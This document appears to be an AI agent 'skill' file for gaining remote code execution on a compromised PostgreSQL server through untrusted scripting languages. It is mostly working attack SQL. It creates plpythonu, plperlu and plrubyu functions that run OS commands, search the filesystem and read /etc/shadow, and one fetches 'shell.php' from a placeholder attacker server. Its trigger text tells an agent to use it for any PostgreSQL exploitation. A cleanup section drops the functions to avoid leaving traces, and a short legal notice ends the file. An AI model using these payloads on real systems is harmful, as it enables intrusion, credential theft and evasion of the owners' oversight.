Hacktricks-skills postgresql-language-injection
Exploit PostgreSQL scripting languages (plpythonu, plperlu, plrubyu, etc.) to achieve remote code execution from a compromised database. Use this skill whenever you have SQL access to a PostgreSQL database and want to enumerate available languages, trust untrusted languages, or execute arbitrary commands on the underlying OS. Trigger this for any PostgreSQL exploitation, database-to-OS privilege escalation, or when you need to run system commands through SQL.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages/SKILL.MDPostgreSQL Language Injection for RCE
When you have SQL access to a PostgreSQL database, you can exploit installed scripting languages to execute arbitrary code on the underlying operating system. This is a powerful post-exploitation technique.
Step 1: Enumerate Available Languages
First, check what scripting languages are installed in the PostgreSQL instance:
-- List all installed languages \dL * -- Or query the system catalog SELECT lanname, lanpltrusted, lanacl FROM pg_language;
What to look for:
- Languages ending in
are untrusted versions (e.g.,u
,plpythonu
,plpython3u
,plperlu
,plrubyu
)pljavaU - The
column shows if PostgreSQL trusts the language (lanpltrusted
= restricted,true
= can execute code)false - Untrusted languages allow full system access
Step 2: Trust an Untrusted Language (If Needed)
If you find an interesting language but it's marked as trusted (
lanpltrusted = true), try to change it:
-- Check your permissions first SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language'; -- Trust the language (requires appropriate privileges) UPDATE pg_language SET lanpltrusted = true WHERE lanname = 'plpythonu';
Step 3: Load Missing Languages (If Superuser)
If a language isn't installed but you have superuser access:
CREATE EXTENSION plpythonu; CREATE EXTENSION plpython3u; CREATE EXTENSION plperlu; CREATE EXTENSION plrubyu; CREATE EXTENSION pljavaU;
Step 4: Execute Commands via plpythonu
The most common exploitation path is through
plpythonu (Python). Create functions to execute system commands:
Remote Code Execution
CREATE OR REPLACE FUNCTION exec(cmd text) RETURNS VARCHAR(65535) stable AS $$ import os return os.popen(cmd).read() $$ LANGUAGE 'plpythonu'; -- Execute any command SELECT exec('id'); SELECT exec('whoami'); SELECT exec('cat /etc/passwd');
Get Current OS User
CREATE OR REPLACE FUNCTION get_user(pkg text) RETURNS VARCHAR(65535) stable AS $$ import os return os.getlogin() $$ LANGUAGE 'plpythonu'; SELECT get_user('');
List Directory Contents
CREATE OR REPLACE FUNCTION lsdir(dir text) RETURNS VARCHAR(65535) stable AS $$ import json from os import walk files = next(walk(dir), (None, None, [])) return json.dumps({"root": files[0], "dirs": files[1], "files": files[2]})[:65535] $$ LANGUAGE 'plpythonu'; SELECT lsdir('/'); SELECT lsdir('/home');
Find Writable Directories
CREATE OR REPLACE FUNCTION findw(dir text) RETURNS VARCHAR(65535) stable AS $$ import os def my_find(path): writables = [] def find_writable(path): if not os.path.isdir(path): return if os.access(path, os.W_OK): writables.append(path) if not os.listdir(path): return else: for item in os.listdir(path): find_writable(os.path.join(path, item)) find_writable(path) return writables return ", ".join(my_find(dir)) $$ LANGUAGE 'plpythonu'; SELECT findw('/');
Find Specific Files
CREATE OR REPLACE FUNCTION find_file(exe_sea text) RETURNS VARCHAR(65535) stable AS $$ import os def my_find(path): executables = [] def find_executables(path): if not os.path.isdir(path): executables.append(path) if os.path.isdir(path): if not os.listdir(path): return else: for item in os.listdir(path): find_executables(os.path.join(path, item)) find_executables(path) return executables a = my_find('/') b = [] for i in a: if exe_sea in os.path.basename(i): b.append(i) return ", ".join(b) $$ LANGUAGE 'plpythonu'; SELECT find_file('psql'); SELECT find_file('ssh');
Find Executables in Directory
CREATE OR REPLACE FUNCTION findx(dir text) RETURNS VARCHAR(65535) stable AS $$ import os def my_find(path): executables = [] def find_executables(path): if not os.path.isdir(path) and os.access(path, os.X_OK): executables.append(path) if os.path.isdir(path): if not os.listdir(path): return else: for item in os.listdir(path): find_executables(os.path.join(path, item)) find_executables(path) return executables a = my_find(dir) b = [] for i in a: b.append(os.path.basename(i)) return ", ".join(b) $$ LANGUAGE 'plpythonu'; SELECT findx('/');
Read Files (Base64 Encoded)
CREATE OR REPLACE FUNCTION read(path text) RETURNS VARCHAR(65535) stable AS $$ import base64 encoded_string = base64.b64encode(open(path).read().encode()) return encoded_string.decode('utf-8') $$ LANGUAGE 'plpythonu'; SELECT read('/etc/passwd'); SELECT read('/etc/shadow');
Get File Permissions
CREATE OR REPLACE FUNCTION get_perms(path text) RETURNS VARCHAR(65535) stable AS $$ import os status = os.stat(path) perms = oct(status.st_mode)[-3:] return str(perms) $$ LANGUAGE 'plpythonu'; SELECT get_perms('/etc/passwd');
Make HTTP Requests (Python 2)
CREATE OR REPLACE FUNCTION req2(url text) RETURNS VARCHAR(65535) stable AS $$ import urllib r = urllib.urlopen(url) return r.read() $$ LANGUAGE 'plpythonu'; SELECT req2('http://your-server.com/shell.php');
Make HTTP Requests (Python 3)
CREATE OR REPLACE FUNCTION req3(url text) RETURNS VARCHAR(65535) stable AS $$ from urllib import request r = request.urlopen(url) return r.read() $$ LANGUAGE 'plpythonu'; SELECT req3('http://your-server.com/shell.php');
Alternative Languages
plperlu (Perl)
CREATE OR REPLACE FUNCTION exec(cmd text) RETURNS text AS $$ my $result = `$_[0]`; return $result; $$ LANGUAGE 'plperlu'; SELECT exec('id');
plrubyu (Ruby)
CREATE OR REPLACE FUNCTION exec(cmd text) RETURNS text AS $$ return `$_[0]`; $$ LANGUAGE 'plrubyu'; SELECT exec('id');
Important Notes
-
Function size limit: PostgreSQL functions return VARCHAR(65535) max. For large outputs, use base64 encoding or chunk the data.
-
Persistence: Functions created in the database persist until dropped. Clean up after yourself:
DROP FUNCTION exec(text); DROP FUNCTION lsdir(text); -
Error handling: If a function fails, check PostgreSQL logs or wrap in error handling.
-
Privileges: You need CREATE FUNCTION privileges. If you don't have them, you may need to escalate first.
-
Language availability: Not all PostgreSQL installations have untrusted languages enabled. Always enumerate first.
Quick Reference
| Goal | Function | Example |
|---|---|---|
| Execute command | | |
| List directory | | |
| Find writable dirs | | |
| Find file | | |
| Read file | | |
| HTTP request | | |
Cleanup
After exploitation, remove your functions to avoid leaving traces:
DROP FUNCTION IF EXISTS exec(text); DROP FUNCTION IF EXISTS get_user(text); DROP FUNCTION IF EXISTS lsdir(text); DROP FUNCTION IF EXISTS findw(text); DROP FUNCTION IF EXISTS find_file(text); DROP FUNCTION IF EXISTS findx(text); DROP FUNCTION IF EXISTS read(text); DROP FUNCTION IF EXISTS get_perms(text); DROP FUNCTION IF EXISTS req2(text); DROP FUNCTION IF EXISTS req3(text);
⚠️ Legal Notice: Only use these techniques on systems you own or have explicit written authorization to test. Unauthorized access to computer systems is illegal.